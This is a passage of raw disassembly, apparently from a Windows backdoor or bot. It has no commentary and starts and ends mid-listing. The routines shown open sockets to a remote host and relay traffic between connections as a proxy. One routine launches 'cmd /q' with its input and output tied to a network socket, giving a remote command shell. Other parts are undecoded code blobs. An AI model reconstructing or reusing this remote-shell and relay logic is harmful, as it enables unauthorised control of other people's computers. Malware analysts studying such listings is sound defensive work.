; closesocket push [ebp+var_23C] call sub_40D802 pop ecx push 0 call near ptr 2800000h nop leave retn 4 sub_415BB9 endp ; --------------------------------------------------------------------------- byte_415DBF db 55h ; DATA XREF: sub_4021E5+77A4o dd 0EC81EC8Bh, 35Ch, 758B5756h, 594A6A08h, 0FED0BD8Dh dd 0A5F3FFFFh, 8908458Bh, 0FFFCAC85h, 0AC858BFFh, 0C7FFFFFCh dd 12080h, 100h, 6A106A00h, 0B0858D00h, 50FFFFFEh, 0B60FE8h dd 0CC48300h, 0B085C766h, 2FFFFFEh, 0DC75FF00h, 170015FFh dd 8966004Eh, 0FFFEB285h, 0B4A583FFh, 0FFFFFEh, 0FCA885C7h dd 10FFFFh, 66A0000h, 26A016Ah, 178015FFh, 4589004Eh, 0FC7D83FCh dd 4E840FFFh, 8B000001h, 0C069E045h, 234h, 89FC4D8Bh, 45462488h dd 68016A00h, 401h, 75FF006Ah, 1015FFFCh, 6A004E16h, 0B0858D10h dd 50FFFFFEh, 0FFFC75FFh, 4E172C15h, 0FC08500h, 11085h dd 0FF0A6A00h, 15FFFC75h, 4E1728h, 850FC085h, 0FDh, 8558016Ah dd 0F2840FC0h, 8D000000h, 0FFFCA885h, 858D50FFh, 0FFFFFEC0h dd 0FC75FF50h, 179415FFh, 4589004Eh, 0F87D83F8h, 0C9840FFFh dd 8B000000h, 8589F845h, 0FFFFFED4h, 0F06583h, 0FE075FFh dd 0FEC285B7h, 0FF50FFFFh, 0FFFEC4B5h, 8C15FFFFh, 50004E17h dd 44C11C68h, 0B0858D00h, 50FFFFFCh, 0BAC3E8h, 14C48300h dd 6AF875FFh, 0B0858D18h, 50FFFFFCh, 0FF7419E8h, 0CC483FFh dd 8BE44589h, 0C069E445h, 234h, 89E04D8Bh, 45461C88h, 0A4858D00h dd 50FFFFFCh, 858D006Ah, 0FFFFFED0h, 5FBE6850h, 6A0041h dd 0E890006Ah, 238A221h, 69E44D8Bh, 234C9h, 2C818900h dd 8B004546h, 0C069E445h, 234h, 462CB883h, 74000045h, 0F07D8312h dd 6A0A7500h, 89E89032h, 0EB0238A0h, 9015EBF0h, 38AAE5E8h dd 64685002h, 0E80044C1h, 14E6h, 5EB5959h, 0FFFF03E9h dd 0F875FFFFh, 179815FFh, 75FF004Eh, 9815FFFCh, 0FF004E17h dd 53E8E075h, 59FFFF78h, 0E890006Ah, 23EA048h, 0C2C95E5Fh db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FBE proc near var_1354 = word ptr -1354h var_1352 = word ptr -1352h var_1350 = dword ptr -1350h var_1344 = dword ptr -1344h var_1340 = dword ptr -1340h var_133C = dword ptr -133Ch var_1338 = byte ptr -1338h var_1334 = dword ptr -1334h var_1330 = byte ptr -1330h var_1130 = byte ptr -1130h var_1128 = byte ptr -1128h var_1028 = dword ptr -1028h var_1020 = dword ptr -1020h var_101C = dword ptr -101Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1354h call sub_421EE0 push esi push edi mov esi, [ebp+arg_0] push 4Ah pop ecx lea edi, [ebp+var_1130] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_1334], eax mov eax, [ebp+var_1334] mov dword ptr [eax+120h], 1 mov eax, [ebp+var_101C] mov [ebp+var_133C], eax push 6 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_1008], eax cmp [ebp+var_1008], 0FFFFFFFFh jnz short loc_416020 jmp loc_41624D ; --------------------------------------------------------------------------- loc_416020: ; CODE XREF: sub_415FBE+5Bj push 10h push 0 lea eax, [ebp+var_1354] push eax call sub_421410 add esp, 0Ch mov [ebp+var_1354], 2 push [ebp+var_1028] call dword_4E1700 ; ntohs mov [ebp+var_1352], ax lea eax, [ebp+var_1128] push eax call dword_4E1740 ; inet_addr mov [ebp+var_1344], eax cmp [ebp+var_1344], 0FFFFFFFFh jnz short loc_416080 lea eax, [ebp+var_1128] push eax call dword_4E1784 ; gethostbyname mov [ebp+var_1340], eax jmp short loc_416097 ; --------------------------------------------------------------------------- loc_416080: ; CODE XREF: sub_415FBE+ABj push 2 push 4 lea eax, [ebp+var_1344] push eax call dword_4E16B8 ; gethostbyaddr mov [ebp+var_1340], eax loc_416097: ; CODE XREF: sub_415FBE+C0j cmp [ebp+var_1340], 0 jnz short loc_4160A5 jmp loc_41624D ; --------------------------------------------------------------------------- loc_4160A5: ; CODE XREF: sub_415FBE+E0j mov eax, [ebp+var_1340] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1350], eax push 10h lea eax, [ebp+var_1354] push eax push [ebp+var_1008] call dword_4E16A8 ; connect mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_4160DB jmp loc_41624D ; --------------------------------------------------------------------------- loc_4160DB: ; CODE XREF: sub_415FBE+116j and [ebp+var_100C], 0 push [ebp+var_1020] movzx eax, [ebp+var_1352] push eax push [ebp+var_1350] call dword_4E178C ; inet_ntoa push eax push offset unk_44C1A0 lea eax, [ebp+var_1330] push eax call sub_4219C0 add esp, 14h push [ebp+var_1008] push 18h lea eax, [ebp+var_1330] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_101C], eax mov eax, [ebp+var_101C] imul eax, 234h mov ecx, [ebp+var_1020] mov dword_45461C[eax], ecx mov eax, [ebp+var_133C] imul eax, 234h mov ecx, [ebp+var_101C] imul ecx, 234h mov eax, dword_454624[eax] mov dword_454628[ecx], eax lea eax, [ebp+var_1338] push eax push 0 lea eax, [ebp+var_1130] push eax push offset sub_41628B push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_101C] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_101C] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_4161C5 loc_4161B0: ; CODE XREF: sub_415FBE+203j cmp [ebp+var_100C], 0 jnz short loc_4161C3 push 32h call near ptr 27A0000h nop jmp short loc_4161B0 ; --------------------------------------------------------------------------- loc_4161C3: ; CODE XREF: sub_415FBE+1F9j jmp short loc_4161DA ; --------------------------------------------------------------------------- loc_4161C5: ; CODE XREF: sub_415FBE+1F0j nop call near ptr 27A0A66h push eax push offset unk_44C1E4 call sub_417472 pop ecx pop ecx jmp short loc_41624D ; --------------------------------------------------------------------------- loc_4161DA: ; CODE XREF: sub_415FBE:loc_4161C3j ; sub_415FBE:loc_41624Bj push 1 pop eax test eax, eax jz short loc_41624D push 1000h push 0 lea eax, [ebp+var_1004] push eax call sub_421410 add esp, 0Ch push 0 push 1000h lea eax, [ebp+var_1004] push eax mov eax, [ebp+var_133C] imul eax, 234h push dword_454624[eax] call dword_4E1718 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jg short loc_416228 jmp short loc_41624D ; --------------------------------------------------------------------------- loc_416228: ; CODE XREF: sub_415FBE+266j push 0 push [ebp+var_4] lea eax, [ebp+var_1004] push eax push [ebp+var_1008] call dword_4E1750 ; send mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41624B jmp short loc_41624D ; --------------------------------------------------------------------------- loc_41624B: ; CODE XREF: sub_415FBE+289j jmp short loc_4161DA ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: sub_415FBE+5Dj ; sub_415FBE+E2j ... mov eax, [ebp+var_133C] imul eax, 234h push dword_454624[eax] call dword_4E1798 ; closesocket push [ebp+var_1008] call dword_4E1798 ; closesocket push [ebp+var_133C] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_415FBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41628B proc near ; DATA XREF: sub_415FBE+1BCo var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = byte ptr -112Ch var_1018 = dword ptr -1018h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1134h call sub_421EE0 push esi push edi mov esi, [ebp+arg_0] push 4Ah pop ecx lea edi, [ebp+var_112C] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_1130], eax mov eax, [ebp+var_1130] mov dword ptr [eax+124h], 1 mov eax, [ebp+var_1018] mov [ebp+var_1134], eax loc_4162CD: ; CODE XREF: sub_41628B:loc_41634Aj push 1 pop eax test eax, eax jz short loc_41634C push 1000h push 0 lea eax, [ebp+var_1004] push eax call sub_421410 add esp, 0Ch push 0 push 1000h lea eax, [ebp+var_1004] push eax mov eax, [ebp+var_1134] imul eax, 234h push dword_454628[eax] call dword_4E1718 ; recv mov [ebp+var_4], eax cmp [ebp+var_4], 0 jg short loc_41631B jmp short loc_41634C ; --------------------------------------------------------------------------- loc_41631B: ; CODE XREF: sub_41628B+8Cj push 0 push [ebp+var_4] lea eax, [ebp+var_1004] push eax mov eax, [ebp+var_1134] imul eax, 234h push dword_454624[eax] call dword_4E1750 ; send mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_41634A jmp short loc_41634C ; --------------------------------------------------------------------------- loc_41634A: ; CODE XREF: sub_41628B+BBj jmp short loc_4162CD ; --------------------------------------------------------------------------- loc_41634C: ; CODE XREF: sub_41628B+47j ; sub_41628B+8Ej ... mov eax, [ebp+var_1134] imul eax, 234h push dword_454628[eax] call dword_4E1798 ; closesocket push [ebp+var_1134] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_41628B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24h push dword ptr [ebp+8] call sub_41655A pop ecx mov [ebp-1Ch], eax mov dword ptr [ebp-18h], 0Ch and dword ptr [ebp-14h], 0 and dword ptr [ebp-10h], 0 mov eax, [ebp+8] imul eax, 234h mov ecx, [ebp-1Ch] mov eax, dword_454624[eax] mov [ecx+0Ch], eax lea eax, [ebp-20h] push eax push 0 push dword ptr [ebp-1Ch] push offset word_4167AE push 0 lea eax, [ebp-18h] push eax nop call near ptr 27A0169h mov ecx, [ebp-1Ch] mov [ecx+10h], eax mov eax, [ebp-1Ch] cmp dword ptr [eax+10h], 0 jnz short loc_4163FE nop call near ptr 27A0A66h push eax push offset unk_44C224 call sub_417472 pop ecx pop ecx mov eax, [ebp-1Ch] or dword ptr [eax+0Ch], 0FFFFFFFFh xor eax, eax jmp locret_416558 ; --------------------------------------------------------------------------- loc_4163FE: ; CODE XREF: .XComp0:004163DBj lea eax, [ebp-20h] push eax push 0 push dword ptr [ebp-1Ch] push offset sub_4168DF push 0 lea eax, [ebp-18h] push eax nop call near ptr 27A0169h mov ecx, [ebp-1Ch] mov [ecx+14h], eax mov eax, [ebp-1Ch] cmp dword ptr [eax+14h], 0 jnz short loc_416456 nop call near ptr 27A0A66h push eax push offset unk_44C26C call sub_417472 pop ecx pop ecx mov eax, [ebp-1Ch] or dword ptr [eax+0Ch], 0FFFFFFFFh push 0 mov eax, [ebp-1Ch] push dword ptr [eax+14h] nop call near ptr 27C0D51h xor eax, eax jmp locret_416558 ; --------------------------------------------------------------------------- loc_416456: ; CODE XREF: .XComp0:00416425j mov eax, [ebp-1Ch] mov eax, [eax+10h] mov [ebp-0Ch], eax mov eax, [ebp-1Ch] mov eax, [eax+14h] mov [ebp-8], eax mov eax, [ebp-1Ch] mov eax, [eax+8] mov [ebp-4], eax push 0FFFFFFFFh push 0 lea eax, [ebp-0Ch] push eax push 3 nop call near ptr 2891CEAh mov [ebp-24h], eax cmp dword ptr [ebp-24h], 0 jz short loc_416498 cmp dword ptr [ebp-24h], 1 jz short loc_4164B6 cmp dword ptr [ebp-24h], 2 jz short loc_4164D4 jmp short loc_4164F2 ; --------------------------------------------------------------------------- loc_416498: ; CODE XREF: .XComp0:00416488j push 0 mov eax, [ebp-1Ch] push dword ptr [eax+14h] nop call near ptr 27C0D51h push 1 mov eax, [ebp-1Ch] push dword ptr [eax+8] call near ptr 2810BC8h nop jmp short loc_416505 ; --------------------------------------------------------------------------- loc_4164B6: ; CODE XREF: .XComp0:0041648Ej push 0 mov eax, [ebp-1Ch] push dword ptr [eax+10h] nop call near ptr 27C0D51h push 1 mov eax, [ebp-1Ch] push dword ptr [eax+8] nop call near ptr 2810BC8h jmp short loc_416505 ; --------------------------------------------------------------------------- loc_4164D4: ; CODE XREF: .XComp0:00416494j push 0 mov eax, [ebp-1Ch] push dword ptr [eax+14h] nop call near ptr 27C0D51h push 0 mov eax, [ebp-1Ch] push dword ptr [eax+10h] nop call near ptr 27C0D51h jmp short loc_416505 ; --------------------------------------------------------------------------- loc_4164F2: ; CODE XREF: .XComp0:00416496j nop call near ptr 27A0A66h push eax push offset unk_44C2B4 call sub_417472 pop ecx pop ecx loc_416505: ; CODE XREF: .XComp0:004164B4j ; .XComp0:004164D2j ... mov eax, [ebp-1Ch] push dword ptr [eax+10h] nop call near ptr 27800D6h mov eax, [ebp-1Ch] push dword ptr [eax+14h] nop call near ptr 27800D6h mov eax, [ebp-1Ch] push dword ptr [eax+8] nop call near ptr 27800D6h mov eax, [ebp-1Ch] push dword ptr [eax] nop call near ptr 27800D6h mov eax, [ebp-1Ch] push dword ptr [eax+4] nop call near ptr 27800D6h mov eax, [ebp-1Ch] push dword ptr [eax+0Ch] call dword_4E1798 ; closesocket push dword ptr [ebp-1Ch] call sub_41F930 pop ecx push 1 pop eax locret_416558: ; CODE XREF: .XComp0:004163F9j ; .XComp0:00416451j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41655A proc near ; CODE XREF: .XComp0:00416387p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch and [ebp+var_1C], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 push 18h call sub_41EDA0 pop ecx mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_416584 xor eax, eax jmp locret_4166B3 ; --------------------------------------------------------------------------- loc_416584: ; CODE XREF: sub_41655A+21j mov eax, [ebp+var_1C] and dword ptr [eax], 0 mov eax, [ebp+var_1C] and dword ptr [eax+4], 0 mov [ebp+var_18], 0Ch and [ebp+var_14], 0 mov [ebp+var_10], 1 push 0 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax push [ebp+var_1C] nop call near ptr 2830000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4165D7 call near ptr 27A0A66h nop push eax push offset unk_44C2E8 call sub_417472 pop ecx pop ecx jmp loc_4166B1 ; --------------------------------------------------------------------------- loc_4165D7: ; CODE XREF: sub_41655A+63j push 0 lea eax, [ebp+var_18] push eax mov eax, [ebp+var_1C] add eax, 4 push eax lea eax, [ebp+var_C] push eax nop call near ptr 2830000h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41660F call near ptr 27A0A66h nop push eax push offset unk_44C328 call sub_417472 pop ecx pop ecx jmp loc_4166AF ; --------------------------------------------------------------------------- loc_41660F: ; CODE XREF: sub_41655A+9Bj push [ebp+arg_0] push [ebp+var_8] push [ebp+var_C] call sub_4166B5 add esp, 0Ch mov ecx, [ebp+var_1C] mov [ecx+8], eax push [ebp+var_C] nop call near ptr 27800D6h push [ebp+var_8] call near ptr 27800D6h nop mov eax, [ebp+var_1C] cmp dword ptr [eax+8], 0 jnz short loc_41664E push offset unk_44C368 call sub_4173DC pop ecx jmp short loc_4166AD ; --------------------------------------------------------------------------- loc_41664E: ; CODE XREF: sub_41655A+E5j mov eax, [ebp+var_1C] or dword ptr [eax+0Ch], 0FFFFFFFFh mov eax, [ebp+var_1C] jmp short locret_4166B3 ; --------------------------------------------------------------------------- loc_41665A: ; CODE XREF: sub_41655A:loc_4166ADj ; sub_41655A:loc_4166AFj ... cmp [ebp+var_C], 0 jz short loc_416669 push [ebp+var_C] nop call near ptr 27800D6h loc_416669: ; CODE XREF: sub_41655A+104j cmp [ebp+var_8], 0 jz short loc_416678 push [ebp+var_8] call near ptr 27800D6h nop loc_416678: ; CODE XREF: sub_41655A+113j mov eax, [ebp+var_1C] cmp dword ptr [eax], 0 jz short loc_41668B mov eax, [ebp+var_1C] push dword ptr [eax] nop call near ptr 27800D6h loc_41668B: ; CODE XREF: sub_41655A+124j mov eax, [ebp+var_1C] cmp dword ptr [eax+4], 0 jz short loc_4166A0 mov eax, [ebp+var_1C] push dword ptr [eax+4] nop call near ptr 27800D6h loc_4166A0: ; CODE XREF: sub_41655A+138j push [ebp+var_1C] call sub_41F930 pop ecx xor eax, eax jmp short locret_4166B3 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41655A+F2j jmp short loc_41665A ; --------------------------------------------------------------------------- loc_4166AF: ; CODE XREF: sub_41655A+B0j jmp short loc_41665A ; --------------------------------------------------------------------------- loc_4166B1: ; CODE XREF: sub_41655A+78j jmp short loc_41665A ; --------------------------------------------------------------------------- locret_4166B3: ; CODE XREF: sub_41655A+25j ; sub_41655A+FEj ... leave retn sub_41655A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166B5 proc near ; CODE XREF: sub_41655A+BEp var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h and [ebp+var_48], 0 push 44h push 0 lea eax, [ebp+var_44] push eax call sub_421410 add esp, 0Ch push 10h push 0 lea eax, [ebp+var_58] push eax call sub_421410 add esp, 0Ch and [ebp+var_38], 0 mov [ebp+var_44], 44h and [ebp+var_40], 0 and [ebp+var_38], 0 and [ebp+var_3C], 0 and [ebp+var_28], 0 mov eax, [ebp+var_28] mov [ebp+var_2C], eax mov eax, [ebp+var_2C] mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_34], eax and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_12], 0 mov [ebp+var_18], 101h mov eax, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_8], eax push 0 push 1 push 2 lea eax, [ebp+var_4] push eax nop call near ptr 28205DBh push eax push [ebp+arg_4] nop call near ptr 28205DBh push eax call near ptr 2820000h nop lea eax, [ebp+var_58] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset aCmdQ ; "cmd /q" push 0 nop call near ptr 278056Fh test eax, eax jz short loc_416796 mov eax, [ebp+var_58] mov [ebp+var_48], eax mov eax, [ebp+arg_8] imul eax, 234h mov ecx, [ebp+var_50] mov dword_454620[eax], ecx push [ebp+var_54] nop call near ptr 27800D6h jmp short loc_4167A9 ; --------------------------------------------------------------------------- loc_416796: ; CODE XREF: sub_4166B5+BCj nop call near ptr 27A0A66h push eax push offset dword_44C398 call sub_417472 pop ecx pop ecx loc_4167A9: ; CODE XREF: sub_4166B5+DFj mov eax, [ebp+var_48] leave retn sub_4166B5 endp ; --------------------------------------------------------------------------- word_4167AE dw 8B55h ; DATA XREF: .XComp0:004163BDo dd 0C4EC81ECh, 8B000001h, 85890845h, 0FFFFFE48h, 858D006Ah dd 0FFFFFE4Ch, 0C86850h, 858D0000h, 0FFFFFF38h, 48858B50h dd 0FFFFFFFEh, 0E9E89030h, 85023FA0h, 0D4840FC0h, 80000000h dd 0FFFE40A5h, 0A58300FFh, 0FFFFFE3Ch, 44A58300h, 0FFFFFEh dd 858B0DEBh, 0FFFFFE3Ch, 3C858940h, 8BFFFFFEh, 0FFFE3C85h dd 4C853BFFh, 73FFFFFEh, 3C858B79h, 0FFFFFFEh, 380584BEh dd 83FFFFFFh, 27750AF8h, 4085B60Fh, 83FFFFFEh, 1B740DF8h dd 0FE44858Bh, 84C6FFFFh, 0FFFE5005h, 858B0DFFh, 0FFFFFE44h dd 44858940h, 8BFFFFFEh, 0FFFE4485h, 3C8D8BFFh, 8AFFFFFEh dd 0FF380D8Ch, 8C88FFFFh, 0FFFE5005h, 44858BFFh, 8AFFFFFEh dd 0FE500584h, 8588FFFFh, 0FFFFFE40h, 0FE44858Bh, 8940FFFFh dd 0FFFE4485h, 0FF6CE9FFh, 6AFFFFh, 0FE44B5FFh, 858DFFFFh dd 0FFFFFE50h, 48858B50h, 0FFFFFFFEh, 15FF0C70h, 4E1750h dd 27FC085h, 1E905EBh, 0E8FFFFFFh, 238A1A2h, 6DF88390h dd 0E8901374h, 238A196h, 0C3D06850h, 97E80044h, 5900000Bh ; --------------------------------------------------------------------------- pop ecx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4168DF proc near ; DATA XREF: .XComp0:00416407o var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E4 = dword ptr -0E4h var_E0 = byte ptr -0E0h var_D8 = byte ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = byte ptr -0CCh var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0ECh mov eax, [ebp+arg_0] mov [ebp+var_E8], eax and [ebp+var_EC], 0 and [ebp+var_D0], 0 and [ebp+var_E4], 0 loc_416906: ; CODE XREF: sub_4168DF+5Fj ; sub_4168DF:loc_41697Dj ... push 0 push 1 lea eax, [ebp+var_D8] push eax mov eax, [ebp+var_E8] push dword ptr [eax+0Ch] call dword_4E1718 ; recv test eax, eax jle locret_416BD2 cmp [ebp+var_D0], 0 jbe short loc_416940 mov eax, [ebp+var_D0] dec eax mov [ebp+var_D0], eax jmp short loc_416906 ; --------------------------------------------------------------------------- loc_416940: ; CODE XREF: sub_4168DF+50j movsx eax, [ebp+var_D8] cmp eax, 0FFh jz short loc_416957 and [ebp+var_E4], 0 jmp short loc_41697F ; --------------------------------------------------------------------------- loc_416957: ; CODE XREF: sub_4168DF+6Dj cmp [ebp+var_E4], 0 jnz short loc_41696C mov [ebp+var_E4], 1 jmp short loc_41697D ; --------------------------------------------------------------------------- loc_41696C: ; CODE XREF: sub_4168DF+7Fj mov [ebp+var_D0], 0Ah and [ebp+var_E4], 0 loc_41697D: ; CODE XREF: sub_4168DF+8Bj jmp short loc_416906 ; --------------------------------------------------------------------------- loc_41697F: ; CODE XREF: sub_4168DF+76j and [ebp+var_D4], 0 movsx eax, [ebp+var_D8] cmp eax, 8 jz short loc_41699E movsx eax, [ebp+var_D8] cmp eax, 7Fh jnz short loc_416A0A loc_41699E: ; CODE XREF: sub_4168DF+B1j cmp [ebp+var_EC], 0 jbe short loc_416A05 mov eax, [ebp+var_EC] dec eax mov [ebp+var_EC], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 8 mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 20h mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 8 mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax loc_416A05: ; CODE XREF: sub_4168DF+C6j jmp loc_416B65 ; --------------------------------------------------------------------------- loc_416A0A: ; CODE XREF: sub_4168DF+BDj movsx eax, [ebp+var_D8] cmp eax, 3 jnz short loc_416A25 push 0 push 0 nop call near ptr 28A0000h jmp loc_416B65 ; --------------------------------------------------------------------------- loc_416A25: ; CODE XREF: sub_4168DF+135j movsx eax, [ebp+var_D8] cmp eax, 15h jnz loc_416AE3 and [ebp+var_EC], 0 mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 20h mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 58h mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 58h mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 58h mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 0Dh mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 0Ah mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax jmp loc_416B65 ; --------------------------------------------------------------------------- loc_416AE3: ; CODE XREF: sub_4168DF+150j mov eax, [ebp+var_D4] mov cl, [ebp+var_D8] mov [ebp+eax+var_E0], cl mov eax, [ebp+var_EC] mov cl, [ebp+var_D8] mov [ebp+eax+var_CC], cl mov eax, [ebp+var_EC] inc eax mov [ebp+var_EC], eax mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax movsx eax, [ebp+var_D8] cmp eax, 0Dh jnz short loc_416B65 mov eax, [ebp+var_D4] mov [ebp+eax+var_E0], 0Ah mov eax, [ebp+var_EC] mov [ebp+eax+var_CC], 0Ah mov eax, [ebp+var_EC] inc eax mov [ebp+var_EC], eax mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax loc_416B65: ; CODE XREF: sub_4168DF:loc_416A05j ; sub_4168DF+141j ... cmp [ebp+var_D4], 0 jbe short loc_416B92 push 0 push [ebp+var_D4] lea eax, [ebp+var_E0] push eax mov eax, [ebp+var_E8] push dword ptr [eax+0Ch] call dword_4E1750 ; send test eax, eax jg short loc_416B92 jmp short locret_416BD2 ; --------------------------------------------------------------------------- loc_416B92: ; CODE XREF: sub_4168DF+28Dj ; sub_4168DF+2AFj movsx eax, [ebp+var_D8] cmp eax, 0Dh jnz short loc_416BCD push 0 lea eax, [ebp+var_4] push eax push [ebp+var_EC] lea eax, [ebp+var_CC] push eax mov eax, [ebp+var_E8] push dword ptr [eax+4] nop call near ptr 2810000h test eax, eax jnz short loc_416BC6 jmp short locret_416BD2 ; --------------------------------------------------------------------------- loc_416BC6: ; CODE XREF: sub_4168DF+2E3j and [ebp+var_EC], 0 loc_416BCD: ; CODE XREF: sub_4168DF+2BDj jmp loc_416906 ; --------------------------------------------------------------------------- locret_416BD2: ; CODE XREF: sub_4168DF+43j ; sub_4168DF+2B1j ... leave retn sub_4168DF endp ; --------------------------------------------------------------------------- dword_416BD4 dd 81EC8B55h, 8A4ECh, 0C7575600h, 0FFFD2C85h, 1FFh, 0F845C700h ; DATA XREF: sub_4021E5+3998o dd 1, 44C40CBEh, 48BD8D00h, 0A5FFFFFDh, 45C7A566h, 1FCh dd 8758B00h, 0A9B9h, 54BD8D00h, 0F3FFFFFDh, 8458BA5h, 0FD508589h dd 858BFFFFh, 0FFFFFD50h, 2A080C7h, 10000h, 858B0000h dd 0FFFFFF64h, 64858940h, 6AFFFFFFh, 6A026A00h, 8015FF02h dd 89004E17h, 0FFFD3085h, 30BD83FFh, 0FFFFFFFDh, 90685375h dd 90000001h, 38939FE8h, 0F07D8302h, 6A217500h, 0EC75FF00h dd 0FAAC858Dh, 8D50FFFFh, 0FFFF6C85h, 0B5FF50FFh, 0FFFFFD54h dd 0FF438AE8h, 14C483FFh, 0FAAC858Dh, 0E850FFFFh, 748h dd 60B5FF59h, 0E8FFFFFFh, 0FFFF6B62h, 0E8006A59h, 23E9358h dd 8D046A90h, 0FFFD2C85h, 46A50FFh, 0FFFF68h, 30B5FF00h dd 0FFFFFFFDh, 4E16E015h, 8D046A00h, 6A50F845h, 0FFFF68FBh dd 0B5FF0000h, 0FFFFFD30h, 16E015FFh, 858B004Eh, 0FFFFFF60h dd 234C069h, 8D8B0000h, 0FFFFFD30h, 46248889h, 106A0045h dd 858D006Ah, 0FFFFFA9Ch, 0A70AE850h, 0C4830000h, 85C7660Ch dd 0FFFFFA9Ch, 0B5FF0002h, 0FFFFFF68h, 170015FFh, 8966004Eh dd 0FFFA9E85h, 0A0A583FFh, 0FFFFFAh, 858D106Ah, 0FFFFFA9Ch dd 30B5FF50h, 0FFFFFFFDh, 4E172C15h, 0FFF88300h, 88682575h dd 90000013h, 3892AFE8h, 64858B02h, 48FFFFFFh, 0FF648589h dd 75FFFFFFh, 0FE6EE808h, 0FE9FFFFh, 68000005h, 44C414h dd 0FD58858Dh, 0E850FFFFh, 0A674h, 85895959h, 0FFFFFA98h dd 0FA98BD83h, 7500FFFFh, 190684Dh, 69E80000h, 90023892h dd 75FF006Ah, 0AC858DECh, 50FFFFFAh, 0FF6C858Dh, 0FF50FFFFh dd 0FFFD54B5h, 4259E8FFh, 0C483FFFFh, 0AC858D14h, 50FFFFFAh dd 617E8h, 0B5FF5900h, 0FFFFFF60h, 0FF6A31E8h, 6A59FFh dd 9226E890h, 7D83023Eh, 8E0F00FCh, 43Bh, 0FD50858Bh, 0B883FFFFh dd 2A0h, 28840F00h, 83000004h, 0FFFA98BDh, 840F00FFh, 41Bh dd 0F98C85C7h, 5FFFFh, 85C70000h, 0FFFFF990h, 1388h, 0F994A583h dd 8300FFFFh, 0FFF988A5h, 0DEB00FFh, 0F988858Bh, 8940FFFFh dd 0FFF98885h, 88858BFFh, 3BFFFFF9h, 0FFF99485h, 8B1973FFh dd 0FFF98885h, 85848BFFh, 0FFFFF998h, 0FD30853Bh, 275FFFFh dd 0CCEB02EBh, 0F988858Bh, 853BFFFFh, 